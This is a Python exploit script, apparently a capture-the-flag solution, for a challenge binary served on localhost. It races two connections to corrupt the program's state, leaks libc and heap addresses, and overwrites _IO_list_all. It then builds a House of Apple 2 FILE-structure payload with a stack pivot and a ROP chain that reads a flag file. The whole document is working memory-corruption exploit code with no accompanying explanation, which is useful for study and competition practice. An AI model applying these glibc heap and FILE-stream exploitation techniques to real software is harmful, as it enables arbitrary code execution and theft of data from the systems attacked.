from
pwncli
import
*
elf
=
ELF(
"./pwn"
)
libc
=
ELF(
"./lib/libc.so.6"
)
context(log_level
=
"debug"
, arch
=
"amd64"
, terminal
=
[
"tmux"
,
"sp"
,
"-h"
])
get_remote
=
lambda
: remote(
"127.0.0.1"
,
9999
)
nop
=
lambda
:
None
code_arr
=
[]
oper_arr
=
[]
ios:
list
[remote]
=
[
None
]
*
10
addrs
=
[]
sleep_time
=
0.05
def
run_code(close
=
True
):
gift.io
=
get_remote()
code_arr.append(
"EOF"
)
ru(b
"Input your Code (end with EOF): "
)
for
c
in
code_arr:
sleep(sleep_time)
sl(c.encode())
for
oper
in
oper_arr:
sleep(sleep_time)
oper()
code_arr.clear()
oper_arr.clear()
if
close:
ic()
def
heap_op(reg, operation):
code_arr.append(f
"heap {reg} {reg}"
)
oper_arr.append(
lambda
: sla(
"Heap operate: "
, operation))
def
heap_alloc(size):
heap_op(
0
,
"alloc"
)
oper_arr.append(
lambda
: sla(
"Size: "
,
str
(size)))
def
heap_free(reg):
heap_op(reg,
"free"
)
def
heap_print(reg, callback
=
nop):
heap_op(reg,
"print"
)
oper_arr.append(callback)
def
heap_input(reg, val):
heap_op(reg,
"input"
)
oper_arr.append(
lambda
: sla(b
"Input: "
, val))
def
stack_pop(reg):
code_arr.append(f
"stack {reg} {reg}"
)
oper_arr.append(
lambda
: sla(
"Stack operate: "
,
"pop"
))
def
stack_push(reg):
code_arr.append(f
"stack {reg} {reg}"
)
oper_arr.append(
lambda
: sla(
"Stack operate: "
,
"push"
))
def
print_reg(reg, callback
=
lambda
:
print
(rl().decode())):
code_arr.append(f
"print {reg} {reg}"
)
oper_arr.append(callback)
def
input_reg(reg, val):
code_arr.append(f
"input {reg} {reg}"
)
oper_arr.append(
lambda
: sla(f
"Input reg{reg}: "
,
str
(val).encode()))
def
quit():
code_arr.append(
"AveMujica 0 0"
)
oper_arr.append(
lambda
: ru(
"ようこそAveMujicaの世界へ"
.encode()))
def
leak():
ru(b
"Content: "
)
addr
=
u64(r(
8
))
success(f
"{addr = :x}"
)
addrs.append(addr)
io
=
get_remote()
io.sendlineafter(b
"How many threads do you want to create? "
, b
"1"
)
io.close()
ios[
0
]
=
get_remote()
ios[
1
]
=
get_remote()
ios[
0
].recvuntil(b
"Input your Code (end with EOF): "
)
sleep(sleep_time)
ios[
1
].recvuntil(b
"Input your Code (end with EOF): "
)
sleep(sleep_time)
ios[
0
].sendline(b
"stack 0 0"
)
sleep(sleep_time)
ios[
1
].sendline(b
"stack 0 0"
)
for
i
in
range
(
5
):
sleep(sleep_time)
ios[
0
].sendline(b
"heap 0 0"
)
sleep(sleep_time)
ios[
0
].sendline(b
"EOF"
)
sleep(sleep_time)
ios[
1
].sendline(b
"EOF"
)
sleep(sleep_time)
ios[
0
].sendlineafter(b
"Stack operate: "
, b
"pop"
)
for
i
in
range
(
2
):
sleep(sleep_time)
ios[
0
].sendlineafter(b
"Heap operate: "
, b
"alloc"
)
sleep(sleep_time)
ios[
0
].sendlineafter(b
"Size: "
,
str
(
0x80
).encode())
for
i
in
range
(
3
):
sleep(sleep_time)
ios[
0
].sendlineafter(b
"Heap operate: "
, b
"alloc"
)
sleep(sleep_time)
ios[
0
].sendlineafter(b
"Size: "
,
str
(
0x10
).encode())
sleep(sleep_time)
ios[
1
].sendlineafter(b
"Stack operate: "
, b
"pop"
)
ios[
0
].close()
ios[
1
].close()
for
i
in
range
(
5
):
heap_free(
0
)
for
i
in
range
(
1
,
4
):
input_reg(i, i)
heap_alloc(
0x500
)
heap_alloc(
0x400
)
heap_free(
0
)
heap_alloc(
0x510
)
heap_alloc(
0x500
)
heap_free(
0
)
heap_alloc(
0x400
)
for
i
in
range
(
3
):
heap_print(i, leak)
run_code()
libc.address
=
addrs[
1
]
-
0x21b110
heap_base
=
(addrs[
2
]
-
0x14
) <<
12
success(f
"{libc.address = :x}"
)
success(f
"{heap_base = :x}"
)
for
i
in
range
(
0xd6
):
stack_pop(
0
)
print_reg(
0
)
stack_pop(
0
)
def
leak_chunk():
addr
=
int
(rl().decode()[
7
:
-
1
],
16
)
print
(
hex
(addr))
addrs.append(addr)
print_reg(
0
, leak_chunk)
input_reg(
0
, libc.sym._IO_list_all)
stack_push(
0
)
input_reg(
0
,
0
)
run_code()
heap_addr
=
addrs[
-
1
]
heap_input(
0
, p64(heap_addr))
run_code()
stack_pop(
0
)
input_reg(
0
, heap_addr)
stack_push(
0
)
leave_ret
=
libc.address
+
0x000000000004da83
pop_rbp
=
libc.address
+
0x000000000002a2e0
io_file
=
IO_FILE_plus_struct()
payload
=
io_file.house_of_apple2_stack_pivoting_when_exit(heap_addr,
libc.sym._IO_wfile_jumps, leave_ret, pop_rbp,
heap_addr
+
0xE0
-
0x8
)
rop
=
ROP(libc)
rop.base
=
heap_addr
+
0xE0
rop.
open
(b
"./flag\0"
,
0
)
rop.read(
9
, heap_base
+
0x300
,
0x100
)
rop.write(
7
, heap_base
+
0x300
,
0x100
)
print
(rop.dump())
payload
+
=
rop.chain()
input_reg(
0
,
0
)
heap_input(
0
, payload)
quit()
run_code(close
=
False
)
ia()